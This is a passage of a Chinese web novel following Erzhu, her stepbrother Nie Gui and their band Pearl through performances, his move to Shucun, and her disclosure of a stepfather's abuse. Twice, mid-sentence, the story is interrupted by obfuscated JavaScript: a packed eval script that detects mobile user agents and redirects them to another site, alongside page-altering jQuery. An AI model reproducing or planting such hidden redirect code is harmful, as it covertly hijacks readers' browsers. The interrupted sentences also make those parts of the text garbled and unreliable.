这一刻,她变得举足轻重,生死攸关。 刘姨看出了她的企图,忙去掣她胳膊:“小珠,你别跟着哥哥胡闹。” 下意识的,她很灵活把手臂一闪,不再看任何人,径直向门外跑去。 门外鲜冷的夜的空气围拥上来,尔珠回头看一眼,正见聂父站在门口,他穿着制服,高挺地笔立着,身后灯光逆剪出一道黑的、庞伟的轮廓,几乎堵塞整幅门框。灯光斜射,门口的黑影一直拖到她的脚下,那也是往日曾庇佑她的影子。 赶上时,聂归刚揭开出租车后备箱,将鼓箱码进空腔里。 两人一同坐进后座,尔珠还大口喘着气,聂归看她一眼,替她把车窗摇下来。车引擎“嗡——”地一震,启动了。 窗外的路灯与树影姗姗筛过两人的面孔,明一阵,暗一阵。尔珠瞥见下来半扇的车窗,在这样紧绷的情景下,不由觉得好笑——她想不出,在这样的家庭里长养起来,他是从哪里学得如此的周全和体贴。这么想着,耳根连着脸颊,渐渐地热了。两人静默了片刻,她把手伸过去,攥住他的手腕处的袖子,便不再动了。 三里屯的酒吧前,曾泽和吉他手正顶着夜风等二人。车停了,从车窗开的口里见到聂归与尔珠,曾泽快步走上来,问可取到了鼓。聂归把手指了指后部:“后备箱里。” 等车停稳了,曾泽与吉他手帮忙取鼓箱,又顺口一说:“这不是稳稳妥妥把鼓给运来了,也不知你之前瞻前顾后,不情愿个什么。” 聂归听了,就笑,说:“别说,这一趟,我可遭大罪了。”酒吧镶两扇透光的玻璃落地窗户,冷蓝、琉红的光闪闪灭灭,交替勾勒他清俊的侧脸,尔珠能见,那笑容甚至是明畅的。 他不会向任何人讲出半个小时前发生的事,除了她。他们才是家人,共享同一个秘密。 12. 011 演出的规矩是,有观众点歌时,就唱点好的曲目,没有时,乐队便可以自奏一些曲子。尔珠听的中文歌不多,每有人点歌,吉他和贝斯都是会弹伴奏的,鼓也能跟得上,而她要向观众借一借手机,大致听完后再唱。 意外的,吧里的酒客觉得小姑娘生得漂亮,歌唱得好,互动方式也特别,都兴致勃勃地递手机上来,请她唱歌,还有没排上的,直接在台下放直喉咙,冲台上大声问她姓名,问乐队的名字,还有问她是不是外国人的,怎么中文说得这样好。 尔珠私下内敛,但毕竟从小上台表演,此时毫不怯场,她一面笑,一面挨个回答观众问题,落落地说自己叫“尔珠”,从小就在中国长大,是“中国人”,末了,她把麦克风递给曾泽,曾泽偏过头,脸凑到麦克风边,替她补一句:“我们乐队是Pearl。” 曾泽曾提及乐队名称,说是乐队初创是自己和室友两人,她自己姓曾,室友名字里带一个“珠”字,就取了这个名儿,如今室友退出,新主唱名字里也有一个“珠”字,也是有缘,便沿用了这个名称。 第一场演了一个半小时,眼见将近十点,但点歌单仍有十来首没唱完,尔珠唱一段,还得与观众讲两句,答他们的问题。聂归见了,从架子鼓后走出来,向曾泽耳边说了两句话,曾泽便借半边尔珠的麦克风,宣告今天乐队的演出到此为止。 台下一片失望的嘘声。有人趁他们收拾乐器的当口,冲到台侧,仰着脸看正替聂归拆鼓的尔珠,张开嗓子,大声问下一场演出什么时候,在什么地方,尔珠被吓得向后一踉跄。曾泽见状,上来解围,说,我们都是学生,场所和时间都不定,之后有缘便能再相见。 曾泽与吉他手留下来,与酒吧老板交涉、分账,聂归先去送尔珠回家。酒吧老板也喜欢尔珠,临走时,还赠了她一杯热蜂蜜花茶,请她下回一定再来。 坐在车上,聂归先前装出来的松快很快瓦解了。他把手肘撑在车窗下,眼睛往窗外悠悠荡荡的夜景里看。车厢里静得只剩引擎摇震的声音。 尔珠慢慢地啜饮手里的饮料,直觉这时候说什么都不妥当,便也沉默着。 车一直开到家院门前,停了。他还是下车,送了她几步。远远的,家里的灯火已经熄了,一看钟表,也是平时刘姨和父亲休息的时间了,只有门廊里亮着一盏灯。照理来说,尔珠若还在外面,刘姨会坐在客厅里点一台灯,侯着她,但今天异常灭了灯,许是不想叫回家来的她为难。 她往家的方向走了几步,心好似海绵,慢慢挤压下去了,愧疚如水一样,漫漫地从孔隙里往外溢。 演出的收入,曾泽也没做什么规定,直接给乐队里四人平均分了。尔珠平时不缺零花钱,一时拿到这些工资,也不知往哪里用。她是离家出走过的人,受过没钱的煎熬,待钱还是有几分珍视,便藏在储蓄罐里。 由于不明原因,学校剧院向乐队封锁了,除开尔珠,其余三人各自出钱,租校附近的空房子来排练。大约是太吵闹,被邻居敲了好几次门,但这也是没有办法的事。后来,乐队又零零散散地演出过一两场,反响都好,演出结束了,一次来个星探,直奔尔珠而来,尔珠拿“只会唱歌,不会演戏”的含糊话搪塞过去了,也有音乐制作人推介厂牌的,曾泽觉得原创歌曲少,又怕队里人员不稳定,也推拒了。临近期末,四个人里,三个人都要准备考试,吉他手去其他乐队里帮忙,挣钱糊口,大家相聚练习的时候也少了,直到元旦假期,才东拼西凑地又碰在一起。 元旦放假前夕,曾泽骑摩托机车去尔珠学校等她。机车半旧不新的,但整个儿造型流畅、精纯,头部眈眈如蜂王。曾泽戴着奶白与宝蓝相间的头盔,穿一件银纹黑底的皮衣,跨坐在机车上,宛如掣乘着一只钢铁的豹子。 出校门时,尔珠一时没认出她,但曾泽这身打扮实在太惹眼,她也忍不住多瞥了两眼,直到曾泽揭下头盔,甩散了头发,拗过手臂,去扎马尾时,尔珠才发觉是熟人。 她快速向旁看两眼,有点儿开心,向曾泽走过去——或许是受了香港电影的濡染,在高中生心里,有人跨着摩托机车等在校门口,比私家车来接还要气派。 曾泽不是来显摆的,她一边脚踩在车踏上,一边腿很轻松地撑在人行道边沿,拗过腰,向尔珠说,今天来,她带了两个消息,一个好的,一个半坏不好的,问她要先听哪一个。 尔珠犹豫半天,说:“要是先听了不好的消息,好消息听着都不那么快乐了。”于是请曾泽先说好的。 “行,”曾泽笑道,“好消息是,你哥愿意长期留在乐队了。” 尔珠一听,首先是高兴的,但隐隐担忧,不知是什么叫他改了主意。 曾泽又说第二个“半坏不好”的:“他说,之后放假,他就不回家了。” 两个消息连着一想,尔珠立刻明白:聂归当真是要和家里断绝关系。一时间,七七八八的问题都涌上来,她急急切切地问:“那他去哪儿呢?” 聂归和吉他手一道,正在树村租屋子。曾泽此次来,便是询问尔珠是否愿意与她一起去探看。 树村在圆明园以北,地方不难找,可要进去,还是要花一番气力。尔珠套着头盔,坐在摩托机车后座,视野受限,只能听到呼啸的风,可目光越过曾泽的肩,她还是能看见,进树村的路不是一般坎坷。这一块早被划为了拆迁区,正在慢慢整改,四处是泥泞与砖瓦。 曾泽骑车和她人一样,有点横冲直撞的意味,过弯时,若不是尔珠坐在后座,她大概会倾斜车身,脚在地上一点,滑飙过去,但进了树村的范围,便是她,也得骑一段,停一段,打量一番四周,确定了方位,再往前行几米。 走到半途,她们便遇上了正在挪箱子的吉他手。 曾泽刹停了车,问他租房的事可还顺利。吉他手说,为了方便,聂归与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728923|144661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他决定同租一间屋,平房,够宽敞,可以做排练的场地,房东是位腿脚略有伤残的鳏夫,子女都在外地,他答应租房的二人,平时可以去他家做饭、洗漱,条件是帮忙收拾屋子,此时,聂归正在打扫房间,而吉他手则把自己物品从原先的房子里挪出。 尔珠打量四周,触目的简陋叫她心惊。一条破损的、只够单辆车行驶的水泥路斜斜地穿进各家院门,几根细樟树歪歪扭扭地撑在墙边,房屋都是红砖砌水泥,薄薄的四面墙,只够遮风挡雨,里面正传出喧杂的乐器声——自九十年代末,北漂的摇滚乐手们扎堆儿地聚在树村。 她一直没敢向聂归问,究竟家里发生了什么样的事,能叫他连家门都不愿迈进去,毅然决然地搬出来。 曾泽替吉他手驼了两样东西,发动引擎,乘机车先往房子的方向驰去了。到了地方,依旧是平平无奇一幢平房,占地约有一百平米,前面带一方水泥砌的场地。房屋门大敞着,曾泽把机车泊放在一边,与尔珠取了吉他手的行李,往屋子里走。 甫一进门,只觉得烟尘呛人,尔珠半掩了口鼻,向里看。 里面四四方方,宽敞得如一座空厂房,墙壁抹着薄薄一层白石灰,窗玻璃格子全是积灰,四周只寥寥摆了一条旧沙发,聂归的鼓箱便码在沙发脚撑边,而聂归正穿一件白衬衫,袖子卷到手肘,把着长扫帚,搅墙角的蛛网,听见脚步声,回头来,他面上勾了一只蓝口罩,额上汗亮,露出一双清明的眼睛。 “我建议你们先出去,或者——”他分出一只手,指一指沙发,“口罩在沙发上。” 曾泽取了口罩,分了尔珠一只,又把头发团成髻,撸起袖子来,把簸箕里的灰尘垃圾倾入塑料袋,拎上了,出门去扔垃圾。尔珠不知该做什么,便走到聂归跟前,问他:“你以后真的不回去了?” 聂归静了片刻,叹一口气,说:“有什么回去的必要吗?” 尔珠并不乐于听到这句话,像是把她也排斥在外了一样。她仔细回想近些日子,记起的聂归,整个人面目都是沉默、模糊的。如果她没有当Pearl的主唱,也许一连几个月,连他的面都见不上。 她心里略略不满,她已往前迈了一步又一步,努力都是她做的,无论是加乐队,还是丢下父亲和刘姨,随他跑出去,做朋友,做亲人,她都尽心尽力,但他却一句正儿八经的解释都不给她,直到现在,她都不知道他和父亲的矛盾从何而来。 她心中怫然,但还是顾及着他,没直接把话问出口,触他的逆鳞。 天色晚了,可屋子还没收拾完,聂归还要帮吉他手搭床架,便拜托曾泽送尔珠回家。 迈进家门,正是吃晚饭的点,父亲和刘姨已坐上了餐桌。父亲见了她,一如既往的高兴。上次随聂归去酒吧,刘姨多责怪了她两句,但父亲却一直未曾开口训斥。她起初还惶恐着,但时间一长,父亲始终和颜悦色,这恐惧便渐渐斑淡了。 13. 012 在饭桌上,尔珠环顾一圈亲人和蔼的面孔,连带着聂归那一份,愧疚涨上来,她总觉得自己要说一点什么才好。 静了片刻,她说:“哥哥说,他过节不回家了。” 刘姨和当时的她一样,忙问:“他待在学校里?” “不,”尔珠摇摇头,说,“他和乐队的吉他手一起,在树村租了房子,今天泽姐姐带我去看了。” “树村?”刘姨脸色立刻就变了,“这孩子,放着好日子不过,一定要去吃那个苦吗?”她又说尔珠:“你也是,少和外面那些乱七八糟的小孩混在一起。树村那种地方,牛鬼蛇神的,你去做什么?” 父亲却笑了一声,说:“小珠向来听话,出去玩一玩,逛一逛,见见世面也好。”末了,他顿了一顿,说:“聂归那小子,长这么大,翅膀硬了,以前还能管,现在是一点都管不住了。” 刘姨自然地接聂父的话,说:“他是个一点都不听劝的,好话坏话,都听不进去。他要去外地读大学,哪里有在家附近读书来得方便?劝了多少回,铁了心要走。现在在北京的学校待着,不一样是好好儿地读书?家里人做的事,哪一样不是对的、好的?” 尔珠听了,心里也不由生了聂归的气。她想不到,只是在哪里读大学这一件小事,就能闹到连家也不回,实在是任性过分了。 这么想着,她也大声说起聂归的不好,以至于一顿晚餐,饭也没吃两口,便撂了筷子,回了卧室,关上了门。独坐在书桌前,她还兀自沉浸在气愤里,肩膀激烈地发着抖。 元旦假期,曾泽发来消息,问尔珠有没有时间排练,尔珠把短信晾了半个钟头,才拿考试的名义拒绝了。回了消息,她非但没觉得痛快,反而觉得自己牵扯了更多人。无尽的苦闷淤积在心头,合上手机盖,也没心思写作业,她在房间了疾步走了两圈,扑到床上,把脸埋枕头里,动也不动了。 直到寒假,没有了考试的借口,尔珠只好去树村,与乐队一起排练。屋子里拾掇好了,窗帘垂挂,屋顶上横布两根日光灯,明不明,暗不暗的,家具都靠墙摆,架子鼓立在房屋正中,一眼看过去,还是空,还是萧索,连暖气都半死不活地热着。倒是聂归,轻松自在,把屋子环视了一圈又一圈,这里叠两件衣服,那边挪一挪箱子,眼睛里全是神采,叫尔珠见了,想起刘姨的话,愈发不高兴。 吉他手有一只游戏机,可以连接电视,据他说,是树村教他弹吉他的前辈从二手市场淘的,卖货的老板信誓旦旦,说是从日本购来的正品,不过无论正品与否,这游戏机从来没出过差错。前辈因为拮据,不得不返乡,行李太多,捎不回去,便把游戏机留给了同室的吉他手。 排练累了,四人就坐在沙发上,把着游戏手柄,一人过一关,再把手柄传递下去,下一人再过一关。游戏里自然是血浆飞溅的砍杀,尔珠操作不熟悉,聂归便耐心教她。时间一晃,到了中午,看两人一个教一个学,玩得尽兴,不好打断,曾泽便和吉他手去房东屋子里做饭。 尔珠逐渐上手,聂归从手柄边撤开,靠到一边去,问她,过段时间要不要再去后海滑冰。尔珠想起小时候,心情略好,也微微一笑,说,有时间和乐队里的大家一起去。聂归也和她回忆起同一段时光,忽而茫远地说:“那时候,大家都在。” 这话奇怪,尔珠手头正打游戏,便随口一问:“什么‘大家’。” “你妈妈——我们当时还是一家人。” 尔珠手上顿了一下,电视机里主角被怪物偷袭,胳膊上被划拉好长一条口子,血一时飞溅。 聂归又继续说:“你还记得吗?你们刚来时,我连你们的面也不愿意见,如果不是阿姨用平常心待我,我可能一直对你们有芥蒂。” “这是做什么?”尔珠脸上的神色已经冷下去,“怀旧吗?” 聂归把双眼盯着天花板,没觉察尔珠的不对劲,“只是感叹,”他说:“我已经这么些年都没有见过她了。” 他远远地眺望屋正中央的架子鼓,“要不是阿姨,我也学不会架子鼓——对我来说,她一直都是个好母亲。” 收回目光,电视机里,怪物正要放大招,但尔珠操作的主角动也没动,他忙指着电视,提醒她:“快躲!” 已来不及了,冲击波还是湮没了主角,血条清空,大的GAMEOVER的字样浮上屏幕。尔珠顿了一下,扔开手柄,眼睛盯着电视屏幕,说:“可惜。” 聂归随手捞过手柄,按键返回菜单页,说:“再开一局就行了。” “不用,我不想玩了,”尔珠侧过脸,认真地看进聂归眼睛里,“我说‘可惜’,是指,我不能和你一样,有一个好妈妈。” 终于,聂归意识到她情绪不对,不由坐直身体,问她:“怎么了?” “你一直没问过我,为什么我会从美国回来吧?”尔珠的手攥紧裤面的布料,盯看着聂归,“因为我只是你一个名义上的妹妹,不是朋友,甚至亲人都只算半个。” “我不是……”聂归要解释,但又一时语塞,“我以为是我家里人要求你回来的。” “不是,”尔珠已来不及细想,她紧咬着后槽牙,身体在厚羽绒服下微微打着颤,“我拿餐叉戳伤了继父——美国的继父的眼睛,因为他……他不是个正常的父亲。而我的妈妈,就是你的好母亲,从来都是默许,一次都不曾阻拦。” 她摊出手掌,露出她一直蜷在掌心的伤痕,由于与掌纹重合,不细看,几乎不能发觉,“我离家出走,一个星期,没有一个人来找我。等我要回中国了,走到了机场,也没有一个人来送我。你的好妈妈——” 视线被泪水蒙住,看不清对面的表情,只能知觉眼泪一颗一颗往下坠,哽咽,“为了保证自己的生活,就是这么把我当作随时可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732639|144661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以送出去、讨好别人的牺牲品的……” 她张了张口,还要再说,但却被对面的人按进了怀里。发烫的额角压着衣服上冰凉的链齿,有一种不轻不重的疼痛,也愈发让她觉得自己失了控。 只是为了母亲,她犯不上发这么大的脾气,不过是因为他太叫她心烦意乱,一番坦诚得可见心腹的话,用这样的心情说出来,到底是沦为了搏同情。 她觉得可耻,胳膊挤上来,想搡开他,却听到他道歉:“对不起,我一直不知道。” 眼泪一下子又涌上来。出走的事过去小半年,她头一次得到了感同身受的安慰。 乐队下午排练,傍晚,照旧是聂归送尔珠回家。坐在车上,静默一会儿,聂归讲起先前提到的高考志愿的事。 自从继母与父亲离婚,他对家的感情越发淡薄,便想要去外地读书,可等通知书到了,他才知道父亲私自改了他的高考志愿,只为了把他留在北京。 他苦笑,说:“其实,也不只是为了这一件事。”车窗外掠过影沉沉的树林,如一面黑的、无尽的铁幕。 他思索了一会儿,似在斟酌措辞,但最后还是放弃了,只是像评论一件旁的事,说:“父母向来有比子女更高的权力,可以左右子女的人生。但他的权力,又要比一般人更高一些。” 尔珠想到了自己与母亲。父母子女间有太多幽微的地方,讲出来,总是会被扭曲成别的东西。她好似理解了他,心里的枉屈渐渐平息下去了。 寒假的排练比往常要密集,几乎只隔一天,四人便会在树村的出租房里聚首,演出也一周能安排一到两场,每次收入都还不错。手头宽裕了,吉他手提议要改造出租房,尔珠也觉有趣,乐队几人便挑一个下午,去二手市场购置家具与摆饰。 出乎意料,曾泽喜爱绿植,尤其是各类长得高壮的盆栽,万年竹、龟背芋、琴叶榕,见了就走不动道,一条街,从头走到尾,四个人手里已经一人一边手里抱了一盆绿植,吉他手看曾泽还要买橡皮树,忙劝她:“姐,预算不够了,我要还不起了。” 曾泽看他一眼,掏出皮夹,说:“谁找你要钱了?”她甚至很慷慨地许诺,用不着聂归与吉他手照顾盆栽,水交给她浇就是了。 尔珠则是不满空荡荡的墙面,在音像店一连择了几百张海报,原先只是买摇滚乐队的,后来,实在凑不满,爵士乐、古典乐,甚至电影与动画,只要有海报,她全购下来,回出租房里去贴,费了整整两大卷透明胶。 音像店店主不知卖海报还能有这样一桩大生意,很高兴,附赠了尔珠一套风铃,铃管当中悬吊一只水晶海豚。尔珠把它挂在正进门的玄关,其他人走过,要弯一弯腰,才不碰响风铃,但尔珠却爱极这串铃铛,每每进门时,都要微微踮起脚,抻长脖子,叫蓝莹莹的海豚从她发顶扫过,带动铃管相击,满屋子都是一片悠荡荡的叮啷声。